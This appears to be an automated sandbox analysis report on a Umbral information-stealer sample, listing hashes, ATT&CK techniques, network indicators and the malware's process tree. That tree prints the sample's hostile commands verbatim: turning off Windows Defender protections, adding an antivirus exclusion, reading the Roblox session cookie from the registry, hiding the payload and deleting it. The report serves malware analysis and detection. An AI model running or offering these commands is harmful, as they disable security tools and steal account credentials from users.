umbral | 331faea175ced9239aa38c09f75cf1cba4a331461268315b76c94bb7c7a4b8d8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12-01-2025 05:11

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General

Target

resembleC2.exe
Size

128KB
MD5

4c8044c83f60465eae3cc16d7c858085
SHA1

bc837ba36a8f244283483210215a11607f05fb63
SHA256

331faea175ced9239aa38c09f75cf1cba4a331461268315b76c94bb7c7a4b8d8
SHA512

f4783ae1591dafc44b1731c34dfced82e5285099a4066b6492e063b1ca5edb4a0916fcad0617b38c0fc754c304d932879cf3014bfce83c0b9a7219f8bc737432
SSDEEP

3072:oRt4KXzdjBFUxzV4NsFYGvL9JjyVcUuyTRc8R:q4gRjBF4SKFYMLbjxUBRc8

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b7c-22.dat	family_umbral
behavioral2/memory/4108-30-0x00000227646C0000-0x0000022764700000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2052	powershell.exe
408	powershell.exe
3124	powershell.exe
1428	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	MoonHub.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	resembleC2.exe

Executes dropped EXE 2 IoCs

pid	Process
4628	6z2guuz0ldkdgc1o.exe
4108	MoonHub.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
21	0.tcp.eu.ngrok.io
28	discord.com
29	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2092	cmd.exe
4284	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3832	wmic.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	resembleC2.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4284	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4108	MoonHub.exe
1428	powershell.exe
1428	powershell.exe
2052	powershell.exe
2052	powershell.exe
408	powershell.exe
408	powershell.exe
400	powershell.exe
400	powershell.exe
3124	powershell.exe
3124	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4628	6z2guuz0ldkdgc1o.exe
Token: SeDebugPrivilege	4108	MoonHub.exe
Token: SeIncreaseQuotaPrivilege	4016	wmic.exe
Token: SeSecurityPrivilege	4016	wmic.exe
Token: SeTakeOwnershipPrivilege	4016	wmic.exe
Token: SeLoadDriverPrivilege	4016	wmic.exe
Token: SeSystemProfilePrivilege	4016	wmic.exe
Token: SeSystemtimePrivilege	4016	wmic.exe
Token: SeProfSingleProcessPrivilege	4016	wmic.exe
Token: SeIncBasePriorityPrivilege	4016	wmic.exe
Token: SeCreatePagefilePrivilege	4016	wmic.exe
Token: SeBackupPrivilege	4016	wmic.exe
Token: SeRestorePrivilege	4016	wmic.exe
Token: SeShutdownPrivilege	4016	wmic.exe
Token: SeDebugPrivilege	4016	wmic.exe
Token: SeSystemEnvironmentPrivilege	4016	wmic.exe
Token: SeRemoteShutdownPrivilege	4016	wmic.exe
Token: SeUndockPrivilege	4016	wmic.exe
Token: SeManageVolumePrivilege	4016	wmic.exe
Token: 33	4016	wmic.exe
Token: 34	4016	wmic.exe
Token: 35	4016	wmic.exe
Token: 36	4016	wmic.exe
Token: SeIncreaseQuotaPrivilege	4016	wmic.exe
Token: SeSecurityPrivilege	4016	wmic.exe
Token: SeTakeOwnershipPrivilege	4016	wmic.exe
Token: SeLoadDriverPrivilege	4016	wmic.exe
Token: SeSystemProfilePrivilege	4016	wmic.exe
Token: SeSystemtimePrivilege	4016	wmic.exe
Token: SeProfSingleProcessPrivilege	4016	wmic.exe
Token: SeIncBasePriorityPrivilege	4016	wmic.exe
Token: SeCreatePagefilePrivilege	4016	wmic.exe
Token: SeBackupPrivilege	4016	wmic.exe
Token: SeRestorePrivilege	4016	wmic.exe
Token: SeShutdownPrivilege	4016	wmic.exe
Token: SeDebugPrivilege	4016	wmic.exe
Token: SeSystemEnvironmentPrivilege	4016	wmic.exe
Token: SeRemoteShutdownPrivilege	4016	wmic.exe
Token: SeUndockPrivilege	4016	wmic.exe
Token: SeManageVolumePrivilege	4016	wmic.exe
Token: 33	4016	wmic.exe
Token: 34	4016	wmic.exe
Token: 35	4016	wmic.exe
Token: 36	4016	wmic.exe
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	408	powershell.exe
Token: SeIncBasePriorityPrivilege	4628	6z2guuz0ldkdgc1o.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4180	OpenWith.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3156 wrote to memory of 4628	3156	resembleC2.exe	82
PID 3156 wrote to memory of 4628	3156	resembleC2.exe	82
PID 3156 wrote to memory of 4108	3156	resembleC2.exe	85
PID 3156 wrote to memory of 4108	3156	resembleC2.exe	85
PID 4108 wrote to memory of 4016	4108	MoonHub.exe	86
PID 4108 wrote to memory of 4016	4108	MoonHub.exe	86
PID 4108 wrote to memory of 3812	4108	MoonHub.exe	88
PID 4108 wrote to memory of 3812	4108	MoonHub.exe	88
PID 4108 wrote to memory of 1428	4108	MoonHub.exe	90
PID 4108 wrote to memory of 1428	4108	MoonHub.exe	90
PID 4108 wrote to memory of 2052	4108	MoonHub.exe	92
PID 4108 wrote to memory of 2052	4108	MoonHub.exe	92
PID 4108 wrote to memory of 408	4108	MoonHub.exe	94
PID 4108 wrote to memory of 408	4108	MoonHub.exe	94
PID 4108 wrote to memory of 400	4108	MoonHub.exe	96
PID 4108 wrote to memory of 400	4108	MoonHub.exe	96
PID 4108 wrote to memory of 2688	4108	MoonHub.exe	98
PID 4108 wrote to memory of 2688	4108	MoonHub.exe	98
PID 4108 wrote to memory of 1860	4108	MoonHub.exe	100
PID 4108 wrote to memory of 1860	4108	MoonHub.exe	100
PID 4108 wrote to memory of 1956	4108	MoonHub.exe	102
PID 4108 wrote to memory of 1956	4108	MoonHub.exe	102
PID 4108 wrote to memory of 3124	4108	MoonHub.exe	104
PID 4108 wrote to memory of 3124	4108	MoonHub.exe	104
PID 4108 wrote to memory of 3832	4108	MoonHub.exe	106
PID 4108 wrote to memory of 3832	4108	MoonHub.exe	106
PID 4108 wrote to memory of 2092	4108	MoonHub.exe	108
PID 4108 wrote to memory of 2092	4108	MoonHub.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3812	attrib.exe

C:\Users\Admin\AppData\Local\Temp\resembleC2.exe
"C:\Users\Admin\AppData\Local\Temp\resembleC2.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3156
- C:\Users\Admin\AppData\Local\Temp\6z2guuz0ldkdgc1o.exe
  "C:\Users\Admin\AppData\Local\Temp\6z2guuz0ldkdgc1o.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4628
- C:\Users\Admin\AppData\Local\Temp\MoonHub.exe
  "C:\Users\Admin\AppData\Local\Temp\MoonHub.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4016
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\MoonHub.exe"
    3⤵
    - Views/modifies file attributes
    PID:3812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MoonHub.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:400
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2688
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1860
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3124
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3832
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\MoonHub.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2092
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4284

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cdb8c2b334fe77bc7ab6bc2b3b90d7e2

SHA1
63c26312120e0e0c327cb46b965851e66686c579

SHA256
6cfa9c9d77756fca5f676d2145a789a9584f3302b9c09510415b12f7ff58bc69

SHA512
523e496508c4c3acc992dee8a1448af651385c41d3a3e54e6b6ec89332d42f3fc5ed36e50fe20f97fc3a1145debc81db852d23e2888951f46df6652bea69b1e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ba42012e626d8c04b25c5e8bcb49d58e

SHA1
4f542888067e87d2d4dd8ced7bc901abd60f819b

SHA256
0a3c73d3b3afc81747d415241a047a1cadd117a0536606b89e57ecf8836e40ff

SHA512
6678e24f430379c3c2ec0385fc02d0db9a65720072b57e4b36f23be65c82b4d3da2692e1bf0d575bdd59d5673fa1b64ab99d1881367af632bb89121b1981fe11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\6z2guuz0ldkdgc1o.exe

Filesize
45KB

MD5
8c7d2f0a936dbe6d0899d40171ffb668

SHA1
0b22fcd904f3b0fa2555a32a2635423668fc4616

SHA256
85f5f5acb54c30efd4f84c0f11c834b7dab98c5bb7357bddcd29fbe5babc4db6

SHA512
463a48ec2752fd002e82dfe555abd03fc666a523da99e0e848788eeff6f98d06d36a360cfd7ad70d342bb4c90a49131a3428f1404d17e04a7fe5a1022c1faa65

Download Submit
C:\Users\Admin\AppData\Local\Temp\MoonHub.exe

Filesize
231KB

MD5
f70b5e56a09af292d4e909c547f9c8c0

SHA1
577883bdbe8dc9582e15e7a1212b1fe432bafce3

SHA256
8fd22c5acb3144dbaa5ab3f9dd5901eb6f3beef67e72ea431246c6a790c067de

SHA512
e54ccb56aa6473abd3530493933d5164f2dff02076e0f03443382f02d177a52e318d8d0f432e6a3fb5620eaffd09f2dbf6ccbf9698ba149b149c594fa162d879

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivjvm1m2.yaj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1428-32-0x000002D0EF260000-0x000002D0EF282000-memory.dmp

Filesize
136KB

Download
memory/3156-0-0x00007FFCFD083000-0x00007FFCFD085000-memory.dmp

Filesize
8KB

Download
memory/3156-31-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/3156-3-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/3156-1-0x0000000000030000-0x0000000000056000-memory.dmp

Filesize
152KB

Download
memory/4108-60-0x000002277EDD0000-0x000002277EDEE000-memory.dmp

Filesize
120KB

Download
memory/4108-59-0x000002277EED0000-0x000002277EF20000-memory.dmp

Filesize
320KB

Download
memory/4108-58-0x000002277EE50000-0x000002277EEC6000-memory.dmp

Filesize
472KB

Download
memory/4108-30-0x00000227646C0000-0x0000022764700000-memory.dmp

Filesize
256KB

Download
memory/4108-97-0x0000022766380000-0x000002276638A000-memory.dmp

Filesize
40KB

Download
memory/4108-98-0x000002277EDF0000-0x000002277EE02000-memory.dmp

Filesize
72KB

Download
memory/4628-17-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/4628-15-0x0000000000440000-0x0000000000450000-memory.dmp

Filesize
64KB

Download
memory/4628-120-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download